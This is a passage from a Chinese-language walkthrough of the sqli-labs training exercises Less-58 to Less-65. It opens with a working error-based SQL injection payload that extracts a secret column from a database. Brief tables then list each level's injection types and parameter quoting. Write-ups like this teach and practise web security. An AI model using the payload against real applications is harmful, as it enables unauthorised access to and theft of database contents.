?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(secret_OD68 )+AS+CHAR),0x7e))+FROM+WOO6ID239T+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
这里国光注入的表名为:WOO6ID239T,列名为:secret_OD68
Less-59
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=$id |
与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58
Less-60
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=("$id") |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-61
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=(('$id')) |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-62
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=('$id') |
此时报错也取消了,这里只能进行布尔盲注或者延时盲注了,这是一个大工程,在实战工程中还是靠 sqlmap 这种自动化注入神器了,手工注入的话岂不是得天荒地老。
Less-63
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-64
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(($id)) |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-65
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=("$id") |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62